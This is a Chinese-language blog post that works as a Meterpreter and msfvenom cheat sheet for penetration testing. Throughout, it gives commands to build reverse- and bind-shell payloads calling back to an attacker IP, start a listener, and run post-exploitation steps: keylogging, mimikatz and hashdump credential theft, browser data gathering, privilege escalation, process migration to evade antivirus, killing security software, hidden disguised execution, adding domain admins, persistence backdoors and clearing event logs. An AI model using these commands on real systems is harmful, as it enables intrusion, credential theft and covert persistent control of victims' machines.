Meterpreter
# Meterpreter
# reverse_shell
# reverse_tcp
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell
Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
# reverse_http
payload:/windows/meterpreter/reverse_http
# reverse_https
payload:/windows/meterpreter/reverse_https
# bind_tcp
这是一个基于 TCP 的正向连接 shell,因为在内网跨网段时无法连接到 attack 的机器,所以在内网中经常会使用,不需要设置 LHOST。
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell
# Meterpreter 的常用命令
# 1. 基本命令
help# 查看 Meterpreter 帮助
background# 返回,把 meterpreter 后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist# 提供所有正在运行的后台脚本的列表
bgrun# 作为一个后台线程运行脚本
channel# 显示活动频道
sessions -i number # 与会话进行交互,number 表示第 n 个 session, 使用 session -i 连接到指定序号的 meterpreter 会话已继续利用
sesssions -k number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run# 执行一个已有的模块,这里要说的是输入 run 后按两下 tab,会列出所有的已有的脚本,常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据
write# 将数据写入到一个通道
run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use# 加载模块
Resource# 执行一个已有的 rc 脚本
# 2. 文件系统命令
cat c:\boot.ini# 查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如 upload setup.exe C:\windows\system32\
download nimeia.txt/root/Desktop/ # 下载文件到本机 如:download C:\boot.ini/root / 或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db/root/
edit c:\boot.ini # 编辑文件
getlwd# 打印本地目录
getwd# 打印工作目录
lcd# 更改本地目录
ls# 列出在当前目录中的文件列表
lpwd# 打印本地目录
pwd# 输出工作目录
cd c:\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir# 受害者系统上删除目录
dir# 列出目标主机的文件和文件夹信息
mv# 修改目标主机上的文件名
search -d d:\www -f web.config #search 文件,如 search -d c:\ -f*.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea*.bat c:\xamp\
enumdesktops #用户登录数
在主机上运行某个进程(-H 是隐藏后台执行)
execute -H -f notepad.exe
在目标主机内存中直接执行我们攻击主机上的攻击程序
execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt"
- -d 在目标主机执行时显示的进程名称(用以伪装)
- -m 直接从内存中执行
- "-o wce.txt" 是 wce.exe 的运行参数
“idletime” 命令为显示目标机器截止到当前无操作命令的时间。
search 命令
- “search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。
- 使用 “search –h” 命令来查看 search 命令的帮助信息:
- 下图中,“search –f aa.txt” 命令为查看目标机中在当前目录以及当前目录的子目录中有没有 aa.txt 这个文件,若有则显示出其路径。
- “search –f l*.txt c:\pp” 为显示出 c:\pp 下及 pp 文件夹下所有的子文件下所有以 l 开头的 txt 文件,若有此类文件,则返回其路径和其大小。
edit 命令
调用 vi 编辑器,对目标主机上的文件修改
# 3. 网络命令
ipconfig/ifconfig# 显示网络接口的关键信息,包括 IP 地址
portfwd -h
用法:portfwd [-h] [add | delete | list | flush] [args]
- 选项:
- -L 要监听的本地主机(可选)
- -h 帮助横幅
- -l 要监听的本地端口
- -p 连接到的远程端口
- -r 要连接到的远程主机
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听 4444, 把目标机 3389 转到本机 4444
netstat -an | grep“4444" #查看指定端口开放情况
rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用 rdesktop 来连接桌面,-u 用户名 -p 密码
rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接
route# 查看或修改受害者路由表
route add 192.168.1.0 255.255.255.0 1 #添加动态路由
route print #路由表输出
runget_local_subnets #目标主机的内网 IP 段情况
Arp #看 ARP 缓冲表
Getproxy #获取代理
# 4. 键盘监听
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
uictl enable keyboard/mouse# 接管目标主机的键盘和鼠标。
meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能
Starting the keystroke sniffer…
meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录
Dumping captured keystrokes…
dir
meterpreter > keyscan_stop #停止针对目标主机的键盘记录
Stopping the keystroke sniffer…
# 5. 系统命令
reboot# 重新启动受害人的计算机
reg# 与受害人的注册表进行交互
rev2self# 回到控制目标主机的初始用户账户下
shell# 获得控制台权限
shutdown# 关闭了受害者的计算机
sysinfo # 查看目标机系统信息,如机器名,操作系统等
add_user username password -h ip #在远程目标主机上添加一个用户
add_group_user “Domain Admins” username -h ip #将用户添加到目标主机的域管理员组中
# 6.mimikatz
meterpreter > load mimikatz #加载 mimikatz
meterpreter > msv #获取 hash 值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
# 7. 网络嗅探
meterpreter > use sniffer # 加载嗅探模块
Loading extension sniffer…success.
meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口
1 - ‘WAN Miniport (Network Monitor)’ ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - ‘Intel® PRO/1000 MT Desktop Adapter’ ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - ‘Cisco Systems VPN Adapter’ ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探
[*] Flushing packet capture buffer for interface 2…
[*] Flushed 1176 packets (443692 bytes)
[*] Downloaded 100% (443692/443692)…
[*] Download completed, converting to PCAP…
[*] PCAP file written to /tmp/test2.cap
meterpreter > sniffer_stop 2 #停止嗅探
# 8. 获取敏感信息
run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取 IE 缓存
run post/windows/gather/enum_chrome #获取 Chrome 缓存
run scraper #获取常见信息
# 9. 获取 Hash
使用 “hashdump” 命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主机的 SAM 文件,获取目标主机的账号密码 hash 信息
meterpreter > run post/windows/gather/smart_hashdump
# 10. 通过 Hash 获取权限
1 | msf > use exploit/windows/smb/psexec |
# 12. 得到远程桌面
run vnc
# 13. 权限提升
使用 “getuid” 获得当前的权限,migrate+PID 迁移进程(当我们攻击一个系统是,常常是对像是 IE 之类的服务漏洞进行利用的,可是不免有对方关闭 IE 的情况,那么我们的 meterpreter 会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将 sessions 迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到 PID 为 500 的是 administrator 权限,所以是迁移到 administrator 的权限,“getsystem –h” 升级为权限 SYSTEM 账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter 自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了 system 权限了。
ps# 列出正在运行的进程
kill pid # 杀死进程
migrate pid # 将 Meterpreter 会话移植到进程数为 pid 的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到 svchost.exe 是一个好方法
getprivs# 尽可能获取尽可能多的特权
getuid #获得当前的权限
getsystem #通过各种攻击向量将一个管理帐户(通常为本地 Administrator 账户)提升为本地 SYSTEM 帐户
getsystem –h #升级权限 SYSTEM 账户
使用 MS14-058 之类的 Exp 进行提权:
meterpreter > background
[*] Backgrounding session 3…
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set SESSION 3
use priv# 加载特权提升扩展模块,来扩展 Meterpreter 库
# 14.SOCKS 代理
Metasploit 可以作为一个 SOCKS 代理服务器,具体步骤为首先通过 Metasploit 的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行 “route add +IP+mask+SID”,然后使用 “use auxiliary/server/socks4a” 命令来使用 sock4a 模块,执行 run 命令 ,socks 便会执行
然后再在命令行下执行 proxychains 命令,使用代理对目标主机进行扫描,nmap,nc 等都可以
# 15. 运行程序
我们还可以使用 “execute” 命令在目标系统中执行应用程序。这个命令的使用方法如下:
execute -f<file> [Options]
- execute -f cmd.exe -i# 执行 cmd.exe 命令并进行交互
- execute -f cmd.exe -i -t# 以所有可用令牌来执行 cmd 命令
- execute -f cmd.exe -i -H -t# 创建新进程 cmd.exe,-H 不可见,-i 交互
- execute -H -i -f cmd.exe
- execute -H -m -d notepad.exe-f wce.exe -a “-o wce.txt”
运行后它将执行 file 参数所指定的文件。可选参数如下:
- -H:创建一个隐藏进程
- -a:传递给命令的参数
- -i:跟进程进行交互
- -m:从内存中执行
- -t:使用当前伪造的线程令牌运行进程
- -s:在给定会话中执行进程
- -f 执行的程序文件
- -d 在目标主机执行时显示的进程名称(用以伪装)
- -o wce.txt" 是 wce.exe 的运行参数
更多命令…Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com)
# 常见脚本
1.arp_scanner
利用 arp 进行存活主机扫描
run arp_scanner-r 192.168.1.0/24
2.autoroute
可以添加,删除,显示路由表
3.checkvm
可以检测目标是否是虚拟机
4.credcollect
收集目标主机上的 hash 等凭证
5.domain_list_gen
获取域管理账户列表,并判断当前 session 所在用户是否在列表中
6.dumplinks
Link 文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和 office 目录中收集 lnk 文件
调用 post/windows/gather/dumplinks 获取目标主机上最近访问过的文档、链接信息
命令:run post/windows/gather/dumplinks
7.duplicate
再次产生 payload,注入到其他进程或打开新进程并注入其中
8.enum_chrome
获取 chrome 中的信息
9.enum_firefox
获取 firefox 中的信息,包括 cooikie,历史纪录,书签等
10.enum_logged_on_users
列出当前登录的用户
11.enum_powershell_env
列出 powershell 和 WSH 的配置文件
12.enum_putty
列出 putty 的配置文件
13.enum_shares
列出共享及历史共享
14.enum_vmware
列出 vmware 的配置文件和产品
15.event_manager
可以查询和清理事件日志
16.file_collector
搜索符合指定模式的文件
17.get_application_list
获取安装的程序列表及版本
18.getcountermeasure
列出 HIPS 和 AV 的进程,显示 XP 防火墙规则,并且显示 DEP 和 UAC 策略
Ps:-k 参数可以杀掉防护软件进程
19.get_env
获取所有用户的环境变量
20.get_filezilla_creds
获取 filezilla 的登陆凭证
21.getgui
可以很方便的开启远程桌面服务,添加用户,端口转发功能
22.get_local_subnets
获得本地的子网
23.get_pidgin_creds
获取 pidgin 配置文件中的用户名和密码
24.gettelnet
同之前开启终端桌面服务的脚本,这个是用来开启 telnet 的
25.get_valid_community
获取 SNMP community 字符串
26.getvncpw
获取 vnc 密码
27.hashdump
同 meterpreter 的内置功能
28.hostsedit
操作 hosts 文件
29.keylogrecorder
Meterpreter 内置此功能
30.killav
关闭防护软件
31.metsvc
将 payload 安装为服务
- migrate
将 meterpreter 会话移植到另一个进程
例如反弹的 meterpreter 会话是对方打开了一个你预置特殊代码的 word 文档而产生的,那么对方一旦关闭掉该 word 文档,我们获取到的 meterpreter 会话就会随之关闭,所以把会话进程注入到 explorer.exe 是一个好方法
可以先用 ps 命令看一下目标主机的 explorer.exe 进程的 pid,我们用 migrate pid 把 meterpreter 会话注入进去
33 .persistence
可见建立一个持久性的后门,设置成开机启动
- service_permissions_escalate
许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务,然后会搜索已存在 d 服务,找到不安全的文件或配置有问题的文件,用一个 payload 替换掉他,然后会尝试重启服务来运行这个 paylaod,如果重启服务失败,则在下次服务器重启时会执行 payload
35.vnc
可以看到远程桌面
- win32-sshserver
安装 openssh 服务
- winenum
会自动运行多种命令,将命令结果保存到本地
# 获取 meterpreter
1. 首先生成可执行文件
root @ kali:〜#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
2. 启动 msfconsole,监听反连端口
root @ kali:〜#msfconsole
msf>use exploit/multi /handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => window /meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 0.0.0.0
msf exploit(handler)>set LPORT 444
msf exploit(handler)>show options
msf exploit(handler)>exploit
参考:Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com)
MSFVenom Cheat Sheet - Easy Way To Create Metasploit Payloads | The Dark Source (archive.org)
- Title: Meterpreter
- Author: Fc04dB
- Created at : 2024-11-16 20:55:13
- Updated at : 2024-11-17 20:47:16
- Link: https://redefine.ohevan.com/2024/11/16/Meterpreter/
- License: This work is licensed under CC BY-NC-SA 4.0.